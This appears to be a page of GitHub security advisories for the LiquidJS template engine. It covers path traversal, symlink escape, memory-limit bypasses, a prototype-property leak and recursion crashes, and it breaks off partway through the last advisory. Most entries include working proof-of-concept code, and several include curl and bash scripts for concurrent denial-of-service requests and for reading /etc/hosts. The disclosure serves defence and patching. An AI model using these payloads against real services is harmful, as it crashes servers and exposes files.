Where
-Infinity
0
Severity
8.7
EPSS
0.08%
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact The layout, render, and include tags allow arbitrary file access via absolute paths (either as string literals or through Liquid variables when dynamicPartials: true is enabled). This poses a security risk when malicious users are allowed to control the template content or specify the filepath to be included as a Liquid variable.

Patches The issue is fixed via #855 and published version 10.25.0 on npm.

Workarounds Change the files in build time In build time, through Shell script or Webpack string-replace-loader, change the file content of correxponding file (depending on your package type, for CommonJS it's dist/liquid.node.js) under dist/,

diff if (fs.fallback !== undefined) { const filepath = fs.fallback(file) - if (filepath !== undefined) yield filepath + if (filepath !== undefined) { + for (const dir of dirs) { + if (!enforceRoot || this.contains(dir, filepath)) { + yield filepath + break + } + } } }

Overriding by fs LiquidJS option Adding a fs option to override the default fs implementation:

javascript const { statSync, readFileSync, promises: { stat, readFile } } = require('fs') const { resolve, extname, dirname, sep } = require('path')

const fs = { exists: async (fp) => { try { await stat(fp); return true; } catch { return false } }, existsSync: (fp) => { try { statSync(fp); return true } catch { return false } }, resolve: (root, file, ext) => resolve(root, file + (extname(file) ? '' : ext)), contains: (root, file) => { const r = resolve(root) return file.startsWith(r.endsWith(sep) ? r : r + sep) }, readFile: (fp) => readFile(fp, 'utf8'), readFileSync: (fp) => readFileSync(fp, 'utf8'), fallback: () => undefined, dirname, sep };

const engine = new Liquid({ fs })

References Discussions: https://github.com/harttle/liquidjs/pull/851 Code fix: https://github.com/harttle/liquidjs/pull/855

1 / 3
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

LiquidJS enforces partial and layout root restrictions using the resolved pathname string, but it does not resolve the canonical filesystem path before opening the file. A symlink placed inside an allowed partials or layouts directory can therefore point to a file outside that directory and still be loaded.

Details

For {% include %}, {% render %}, and {% layout %}, LiquidJS checks whether the candidate path is inside the configured partials or layouts roots before reading it. That check is path-based, not realpath-based.

Because of that, a file like partials/link.liquid passes the directory containment check as long as its pathname is under the allowed root. If link.liquid is actually a symlink to a file outside the allowed root, the filesystem follows the symlink when the file is opened and LiquidJS renders the external target.

So the restriction is applied to the path string that was requested, not to the file that is actually read.

This matters in environments where an attacker can place templates or otherwise influence files under a trusted template root, including uploaded themes, extracted archives, mounted content, or repository-controlled template trees.

PoC

js const { Liquid } = require('liquidjs'); const fs = require('fs');

fs.rmSync('/tmp/liquid-root', { recursive: true, force: true }); fs.mkdirSync('/tmp/liquid-root', { recursive: true });

fs.writeFileSync('/tmp/secret-outside.liquid', 'SECRETOUTSIDE'); fs.symlinkSync('/tmp/secret-outside.liquid', '/tmp/liquid-root/link.liquid');

const engine = new Liquid({ root: ['/tmp/liquid-root'] });

engine.parseAndRender('{% render "link.liquid" %}') .then(console.log); // SECRETOUTSIDE

Impact

If an attacker can place or influence symlinks under a trusted partials or layouts directory, they can make LiquidJS read and render files outside the intended template root. In practice this can expose arbitrary readable files reachable through symlink targets.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

LiquidJS's memoryLimit security mechanism can be completely bypassed by using reverse range expressions (e.g., (100000000..1)), allowing an attacker to allocate unlimited memory. Combined with a string flattening operation (e.g., replace filter), this causes a V8 Fatal error that crashes the Node.js process, resulting in complete denial of service from a single HTTP request.

Details When LiquidJS evaluates a range token (low..high), it calls ctx.memoryLimit.use(high - low + 1) in src/render/expression.ts:70 to account for memory usage. However, for reverse ranges where low > high (e.g., (100000000..1)), this computation yields a negative value (1 - 100000000 + 1 = -99999998).

The Limiter.use() method in src/util/limiter.ts:11-14 does not validate that the count parameter is non-negative. It simply adds count to this.base, causing the internal counter to go negative. Once the counter is sufficiently negative, subsequent legitimate memory allocations that would normally exceed the configured memoryLimit pass the base + count <= limit assertion.

typescript // src/render/expression.ts:67-72 function evalRangeToken (token: RangeToken, ctx: Context) { const low: number = yield evalToken(token.lhs, ctx) const high: number = yield evalToken(token.rhs, ctx) ctx.memoryLimit.use(high - low + 1) // high=1, low=1e8 → use(-99999999) return range(+low, +high + 1) }

// src/util/limiter.ts:11-14 use (count: number) { count = +count || 0 assert(this.base + count <= this.limit, this.message) this.base += count // base becomes negative }

Escalation to Process Crash via Cons-String Flattening

V8 optimizes string concatenation (append filter) by creating a cons-string (a linked tree of string fragments) rather than copying data. This means {% assign s = s | append: s %} repeated 27 times creates a 134MB logical string that consumes only kilobytes of actual memory.

However, when a filter that requires the full string buffer is applied — such as replace — V8 must "flatten" the cons-string into a contiguous memory buffer. For a 134MB cons-string, this requires allocating ~268MB (UTF-16) in a single operation. This triggers a V8 C++ level Fatal error (Fatal JavaScript invalid size error 134217729) that:

- Cannot be caught by JavaScript try-catch or process.on('uncaughtException') - Immediately terminates the Node.js process (exit code 133 / SIGTRAP) - Crashes the entire service, not just the attacking connection

The complete attack chain: 1. Insert 5 reverse ranges {% for x in (100000000..1) %}{% endfor %} → memory budget becomes -500M 2. Build a 134MB cons-string via 27 iterations of {% assign s = s | append: s %} → negligible actual memory 3. Apply {% assign flat = s | replace: 'A', 'B' %} → V8 attempts to flatten → Fatal error → process crash

The attacker payload is ~400 bytes. The server process dies instantly. Express error handlers, domain handlers, and uncaughtException handlers are all bypassed.

PoC - LiquidJS <= 10.24.x with memoryLimit option enabled - Attacker can control Liquid template source code

Save the following as pocmemorylimitbypass.js and run with node pocmemorylimitbypass.js:

javascript const { Liquid } = require('liquidjs');

(async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

// Step 1 — Baseline: memoryLimit blocks large allocation console.log('=== Step 1: Baseline (should fail) ==='); try { const baseline = "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(baseline); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Blocked:', e.message); // "memory alloc limit exceeded" }

// Step 2 — Bypass: reverse ranges drive counter negative console.log('\n=== Step 2: Bypass (should succeed) ==='); try { const bypass = "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"; const result = await engine.parseAndRender(bypass); console.log('Result:', result); // "134217728" — 134MB allocated despite 100MB limit } catch (e) { console.log('Error:', e.message); }

// Step 3 — Process crash: cons-string flattening via replace console.log('\n=== Step 3: Process crash (node process will terminate) ==='); console.log('If the process exits here with code 133/SIGTRAP, the crash is confirmed.'); try { const crash = [ ...Array(5).fill('{% for x in (100000000..1) %}{% endfor %}'), "{% assign s = 'A' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}", "{% assign flat = s | replace: 'A', 'B' %}{{ flat | size }}" ].join(''); const result = await engine.parseAndRender(crash); console.log('Result:', result); // Should not reach here } catch (e) { console.log('Caught error:', e.message); // V8 Fatal error is NOT catchable } })();

Expected output:

=== Step 1: Baseline (should fail) === Blocked: memory alloc limit exceeded, line:1, col:43

=== Step 2: Bypass (should succeed) === Result: 134217728

=== Step 3: Process crash (node process will terminate) === If the process exits here with code 133/SIGTRAP, the crash is confirmed. Fatal error in , line 0 Fatal JavaScript invalid size error 134217729

The process terminates at Step 3 with exit code 133 (SIGTRAP). The V8 Fatal error occurs at the C++ level and cannot be caught by try-catch, process.on('uncaughtException'), or any JavaScript error handler.

HTTP Reproduction (for applications that accept user templates)

If the application exposes an endpoint that renders user-supplied Liquid templates with memoryLimit configured (e.g., CMS preview, newsletter editor, etc.):

bash Step 1 — Baseline: should return "memory alloc limit exceeded" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'

Step 2 — Bypass: should return "134217728" (134MB allocated despite 100MB limit) curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{{ s | size }}"}'

Step 3 — Process crash: connection drops, server process terminates curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% for x in (100000000..1) %}{% endfor %}{% assign s = '\''A'\'' %}{% for i in (1..27) %}{% assign s = s | append: s %}{% endfor %}{% assign flat = s | replace: '\''A'\'', '\''B'\'' %}{{ flat | size }}"}'

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework or endpoint structure.

Impact An attacker who can control template content (common in CMS, email template editors, and SaaS platforms using LiquidJS) can bypass the memoryLimit protection entirely and crash the Node.js process:

- Complete bypass of the memoryLimit security mechanism: The explicitly configured memory limit becomes ineffective. - Process crash from a single HTTP request: V8 Fatal error terminates the entire Node.js process, not just the attacking request. This is not a catchable JavaScript exception. - Service-wide denial of service: All in-flight requests are terminated. Manual restart or container restart policy is required to recover. - False sense of security: Administrators who configured memoryLimit believe their service is protected when it is not. - Container restart policy does not mitigate: Even with Docker restart: always or Kubernetes liveness probes, repeated crash payloads can keep the service in a perpetual restart loop. Each restart takes several seconds, during which all in-flight requests are lost and the service is unavailable.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary The replacefirst filter in LiquidJS uses JavaScript's String.prototype.replace() which interprets $& as a backreference to the matched substring. The filter only charges memoryLimit for the input string length, not the amplified output. An attacker can achieve exponential memory amplification (up to 625,000:1) while staying within the memoryLimit budget, leading to denial of service.

Details The replacefirst filter in src/builtin/filters/string.ts:130-133 delegates to JavaScript's native String.prototype.replace(). This native method interprets special replacement patterns including $& (insert the matched substring), $' (insert the portion after the match), and $ (insert the portion before the match).

The filter calls memoryLimit.use(str.length) to account for the input string's memory cost, but the output string — potentially many times larger due to $& expansion — is never charged against the memory limit.

An attacker can build a 1MB string (within memoryLimit budget), then use replacefirst with a replacement string containing 50 repetitions of $&. Each $& expands to the full matched string (1MB), producing a 50MB output that is not charged to the memory counter.

By chaining this technique across multiple variable assignments, exponential amplification is achieved:

| Stage | Input Size | $& Repetitions | Output Size | Cumulative memoryLimit Charge | |-------|-----------|-------------------|-------------|-------------------------------| | 1 | 1 byte | 50 | 50 bytes | ~1 byte | | 2 | 50 bytes | 50 | 2,500 bytes | ~51 bytes | | 3 | 2,500 bytes | 50 | 125 KB | ~2.6 KB | | 4 | 125 KB | 50 | 6.25 MB | ~128 KB | | 5 | 6.25 MB | 50 | 312.5 MB | ~6.38 MB |

Total amplification factor: ~625,000:1 (312.5 MB output vs. ~6.38 MB charged to memoryLimit).

Notably, the sibling replace filter uses str.split(pattern).join(replacement), which treats $& as a literal string and is therefore not vulnerable. The replacelast filter uses manual substring operations and is also safe. Only replacefirst is affected.

typescript // src/builtin/filters/string.ts:130-133 — VULNERABLE export function replacefirst (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) // Only charges input return str.replace(stringify(arg1), arg2) // $& expansion uncharged! }

// src/builtin/filters/string.ts:125-129 — SAFE (for comparison) export function replace (v: string, arg1: string, arg2: string) { const str = stringify(v) this.context.memoryLimit.use(str.length) return str.split(stringify(arg1)).join(arg2) // split/join: $& treated as literal }

PoC Prerequisites: - npm install liquidjs@10.24.0 - An application that renders user-provided Liquid templates (CMS, newsletter editor, SaaS platform, etc.)

Save the following as pocreplacefirstamplification.js and run with node pocreplacefirstamplification.js:

javascript const { Liquid } = require('liquidjs');

(async () => { const engine = new Liquid({ memoryLimit: 1e8 }); // 100MB limit

// Step 1 — Verify $& expansion in replacefirst console.log('=== Step 1: $& expansion in replacefirst ==='); const step1 = '{{ "HELLO" | replacefirst: "HELLO", "$&-$&-$&" }}'; console.log('Result:', await engine.parseAndRender(step1)); // Output: "HELLO-HELLO-HELLO" — $& expanded to matched string

// Step 2 — Verify replace (split/join) is safe console.log('\n=== Step 2: replace is safe ==='); const step2 = '{{ "ABCDE" | replace: "ABCDE", "$&$&$&" }}'; console.log('Result:', await engine.parseAndRender(step2)); // Output: "$&$&$&" — $& treated as literal

// Step 3 — 5-stage exponential amplification (50x per stage) console.log('\n=== Step 3: Exponential amplification (625,000:1) ==='); const amp50 = '$&'.repeat(50); const step3 = [ '{% assign s = "A" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{% assign s = s | replacefirst: s, "' + amp50 + '" %}', '{{ s | size }}' ].join('');

const startMem = process.memoryUsage().heapUsed; const result = await engine.parseAndRender(step3); const endMem = process.memoryUsage().heapUsed;

console.log('Output string size:', result.trim(), 'bytes'); // "312500000" console.log('Heap increase:', ((endMem - startMem) / 1e6).toFixed(1), 'MB'); console.log('Amplification: ~625,000:1 (1 byte input -> 312.5 MB output)'); console.log('memoryLimit charged: < 7 MB (only input lengths counted)'); })();

Expected output:

=== Step 1: $& expansion in replacefirst === Result: HELLO-HELLO-HELLO

=== Step 2: replace is safe === Result: $&$&$&

=== Step 3: Exponential amplification (625,000:1) === Output string size: 312500000 bytes Heap increase: ~625.0 MB Amplification: ~625,000:1 (1 byte input → 312.5 MB output) memoryLimit charged: < 7 MB (only input lengths counted)

The memoryLimit of 100MB is completely bypassed — 312.5 MB is allocated while only ~6.38 MB is charged to the memory counter.

Demonstrated Denial of Service (concurrent attack)

After confirming the single-request PoC, launch 20 concurrent attacks + legitimate user requests to measure actual service disruption.

Raw Liquid template payload sent by attacker: liquid {% assign s = "A" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {% assign s = s | replacefirst: s, "$&$&$&...(50 times)...$&" %} {{ s }}

$& is a JavaScript String.prototype.replace() backreference pattern that inserts the entire matched string. Each stage amplifies 50x → 5 stages = 50^5 = 312,500,000 characters (~312.5MB). {{ s }} forces the full output into the HTTP response, keeping memory allocated during transfer and blocking the Node.js event loop.

bash #!/bin/bash DoS demonstration: 20 concurrent attacks + legitimate user latency measurement

DOLLAR='$&' REP50=$(printf "${DOLLAR}%.0s" {1..50}) PAYLOAD="{% assign s = \"A\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{% assign s = s | replacefirst: s, \"${REP50}\" %}{{ s }}"

echo "=== Advisory 2 DoS: 20 concurrent + normal user ==="

20 DoS attack requests (per-request timing) for i in $(seq 1 20); do ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 120 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=$PAYLOAD" t2=$(date +%s%3N) echo "DoS[$i]: $(( t2 - t1 ))ms" ) & done

Legitimate user requests at 0s, 3s, 6s ( t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[0s]: $(( t2 - t1 ))ms" ) &

( sleep 3 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[3s]: $(( t2 - t1 ))ms" ) &

( sleep 6 t1=$(date +%s%3N) curl -s -o /dev/null --max-time 60 -X POST "http://<app>/newsletter/preview" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode "template=<h1>Hello</h1>" t2=$(date +%s%3N) echo "Normal[6s]: $(( t2 - t1 ))ms" ) &

wait echo "=== Done ==="

Empirical results (Node.js v20.20.1, LiquidJS 10.24.0): Normal[0s]: 13047ms ← request sent concurrently with attack — 13s delay Normal[3s]: 10124ms ← still blocked 3 seconds later — 10s delay Normal[6s]: 7186ms ← still blocked 6 seconds later — 7s delay DoS[1]: 14729ms DoS[2-20]: 17747ms ~ 25353ms

With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.

HTTP Reproduction (for applications that accept user templates)

bash $& expansion — should return "HELLO-HELLO-HELLO" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \"HELLO\" | replacefirst: \"HELLO\", \"$&-$&-$&\" }}"}'

replace is safe — should return literal "$&$&$&" curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'

5-stage 50x amplification — produces ~312.5MB response curl -s -X POST http://<app>/render \ -H "Content-Type: application/json" \ -d '{"template": "{% assign s = \"A\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replacefirst: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}' bash 20 concurrent DoS attack requests for i in $(seq 1 20); do curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'template={% assign s = "A" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replacefirst: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' & done

Legitimate user request (concurrent) curl -w "Normal: %{timetotal}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \ -H "Content-Type: application/x-www-form-urlencoded" \ --data-urlencode 'template=<h1>Hello</h1>' &

wait

Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.

Impact - memoryLimit security bypass: The memory limit is rendered ineffective for templates using replacefirst with $& patterns. - Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled. - Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):

| Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked | |---------------------------|------------------------|-------------|---------------| | 10 | 3.2s | 640x | ~11s | | 20 | 10.9s | 2,180x | ~29s |

With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

The sortnatural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.

Details

In src/filters/array.ts, the sortnatural function (lines 40-48) accesses object properties using direct bracket notation (lhs[propertyString]), which traverses the JavaScript prototype chain:

typescript export function sortnatural<T> (this: FilterImpl, input: T[], property?: string) { const propertyString = stringify(property) const compare = property === undefined ? caseInsensitiveCompare : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString]) const array = toArray(input) this.context.memoryLimit.use(array.length) return [...array].sort(compare) }

In contrast, the correct approach used elsewhere in the codebase goes through readJSProperty in src/context/context.ts, which checks hasOwnProperty when ownPropertyOnly is enabled:

typescript export function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) { if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined return obj[key] }

The sortnatural filter bypasses this check entirely. The sort filter (lines 26-38 in the same file) has the same issue.

PoC

javascript const { Liquid } = require('liquidjs');

async function main() { const engine = new Liquid({ ownPropertyOnly: true });

// Object with prototype-inherited secret function UserModel() {} UserModel.prototype.apiKey = 'sk-1234-secret-token';

const target = new UserModel(); target.name = 'target';

const probea = { name: 'probea', apiKey: 'aaa' }; const probez = { name: 'probez', apiKey: 'zzz' };

// Direct access: correctly blocked by ownPropertyOnly const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] }); console.log('Direct access:', JSON.stringify(r1)); // "" (blocked)

// map filter: correctly blocked const r2 = await engine.parseAndRender('{{ users | map: "apiKey" }}', { users: [target] }); console.log('Map filter:', JSON.stringify(r2)); // "" (blocked)

// sortnatural: BYPASSES ownPropertyOnly const r3 = await engine.parseAndRender( '{% assign sorted = users | sortnatural: "apiKey" %}{% for u in sorted %}{{ u.name }},{% endfor %}', { users: [probez, target, probea] } ); console.log('sortnatural order:', r3); // Output: "probea,target,probez," // If apiKey were blocked: original order "probez,target,probea," // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz) }

main();

Result: Direct access: "" Map filter: "" sortnatural order: probea,target,probez,

The sorted order reveals that the target's prototype apiKey falls between "aaa" and "zzz". By using more precise probe values, the full secret can be extracted character-by-character through binary search.

Impact

Information disclosure vulnerability. Any application using LiquidJS with ownPropertyOnly: true (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the sortnatural or sort filters, bypassing the security control that is supposed to prevent prototype property access.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

A circular block reference in {% layout %} / {% block %} causes an infinite recursive loop, consuming all available memory (~4GB) and crashing the Node.js process with FATAL ERROR: JavaScript heap out of memory. This allows any user who can submit a Liquid template to perform a Denial of Service attack.

Details

In src/tags/block.ts, during OUTPUT mode, each block looks up its render function from ctx.getRegister('blocks')[this.block]. When a block with name a is nested inside another block also named a in a child template, the inner block finds the outer block's render function and calls it. The outer block's templates contain the inner block again, creating infinite recursion with no termination condition.

Relevant code (src/tags/block.ts, getBlockRender method):

typescript private getBlockRender (ctx: Context) { const { liquid, templates } = this const renderChild = ctx.getRegister('blocks')[this.block] const renderCurrent = function (superBlock: BlockDrop, emitter: Emitter) { ctx.push({ block: superBlock }) yield liquid.renderer.renderTemplates(templates, ctx, emitter) ctx.pop() } return renderChild ? (superBlock: BlockDrop, emitter: Emitter) => renderChild( new BlockDrop( (emitter: Emitter) => renderCurrent(superBlock, emitter) ), emitter) : renderCurrent }

When renderChild exists (same-name block found), it calls renderChild which re-renders templates containing the nested block, which again finds renderChild, and so on — infinite loop.

PoC

1. Create a layout file (layout.html):

liquid <header>{% block a %}default-a{% endblock %}</header> <main>{% block b %}default-b{% endblock %}</main> <footer>{% block c %}default-c{% endblock %}</footer>

2. Create a template that uses the layout:

liquid {% layout "layout" %} {% block a %}outer-a {% block a %}inner-a{% endblock %}{% endblock %} {% block b %}content-b{% endblock %} {% block c %}content-c{% endblock %}

3. Render:

javascript const { Liquid } = require('liquidjs') const liquid = new Liquid({ root: './', extname: '.html' }) liquid.renderFile('template').then(console.log) // Result: process hangs, memory grows to ~4GB, then crashes with OOM

The anonymous block variant also triggers the same issue:

liquid {% layout "parent" %} {%block%}A{%block%}B{%endblock%}{%endblock%}

Impact

Denial of Service (DoS). Any application that accepts user-provided or user-influenced Liquid templates — such as CMS platforms, email template builders, multi-tenant SaaS products, or static site generators with untrusted input — can be crashed by a single malicious template. The attack requires no authentication beyond the ability to submit a template, and no special configuration. The Node.js process is killed by the OS due to memory exhaustion, causing complete service disruption.

1 / 2
Source: GitHub
First published (updated )
Severity
6.3
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

liquidjs 10.25.0 documents root as constraining filenames passed to renderFile() and parseFile(), but top-level file loads do not enforce that boundary.

The published npm package liquidjs@10.25.0 on Linux 6.17.0 with Node v22.22.1. A Liquid instance configured with an empty temporary directory as root still returned the contents of /etc/hosts when renderFile('/etc/hosts') was called. I have not exhaustively checked older releases yet; 10.25.0 is the latest tested version.

Root cause: - src/parser/parser.ts:83-85 calls loader.lookup(file, LookupType.Root, ...) and then reads the returned file. - src/fs/loader.ts:38 passes type !== LookupType.Root into candidates(). - For LookupType.Root, enforceRoot is false, so src/fs/loader.ts:47-66 accepts resolved absolute paths and fallback results without any contains() check.

This appears adjacent to the March 10, 2026 fix for CVE-2026-30952, which hardened include / render / layout but not the top-level file-loading APIs.

Proof of concept: javascript const fs = require('fs'); const os = require('os'); const path = require('path'); const { Liquid } = require('liquidjs');

const safeRoot = fs.mkdtempSync(path.join(os.tmpdir(), 'liquidjs-safe-root-')); const engine = new Liquid({ root: [safeRoot], extname: '.liquid' });

engine.renderFile('/etc/hosts').then(console.log);

Expected result: a path outside root should be rejected. Actual result: /etc/hosts is rendered successfully.

Impact: any application that treats root as a sandbox boundary and forwards attacker-controlled template names into renderFile() or parseFile() can disclose arbitrary local files readable by the server process.

Suggested fix: apply the same containment checks used for partial/layout lookups to LookupType.Root, and reject absolute or fallback paths unless they remain within an allowed root. A regression test should verify that renderFile('/etc/hosts') fails when root points to an unrelated directory.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

The replace filter in LiquidJS incorrectly accounts for memory usage when the memoryLimit option is enabled. It charges str.length + pattern.length + replacement.length bytes to the memory limiter, but the actual output from str.split(pattern).join(replacement) can be quadratically larger when the pattern occurs many times in the input string. This allows an attacker who controls template content to bypass the memoryLimit DoS protection with approximately 2,500x amplification, potentially causing out-of-memory conditions.

Details

The vulnerable code is in src/filters/string.ts:137-142:

typescript export function replace (this: FilterImpl, v: string, pattern: string, replacement: string) { const str = stringify(v) pattern = stringify(pattern) replacement = stringify(replacement) this.context.memoryLimit.use(str.length + pattern.length + replacement.length) // BUG: accounts for inputs, not output return str.split(pattern).join(replacement) // actual output can be quadratically larger }

The memoryLimit.use() call charges only the sum of the three input lengths. However, the str.split(pattern).join(replacement) operation produces output of size:

(numberofoccurrences replacement.length) + nonmatchingcharacters

When every character in str matches pattern (e.g., str = 5,000 as, pattern = a), there are 5,000 occurrences. With a 5,000-character replacement string, the output is 5000 5000 = 25,000,000 characters, while only 5000 + 1 + 5000 = 10,001 bytes are charged to the limiter.

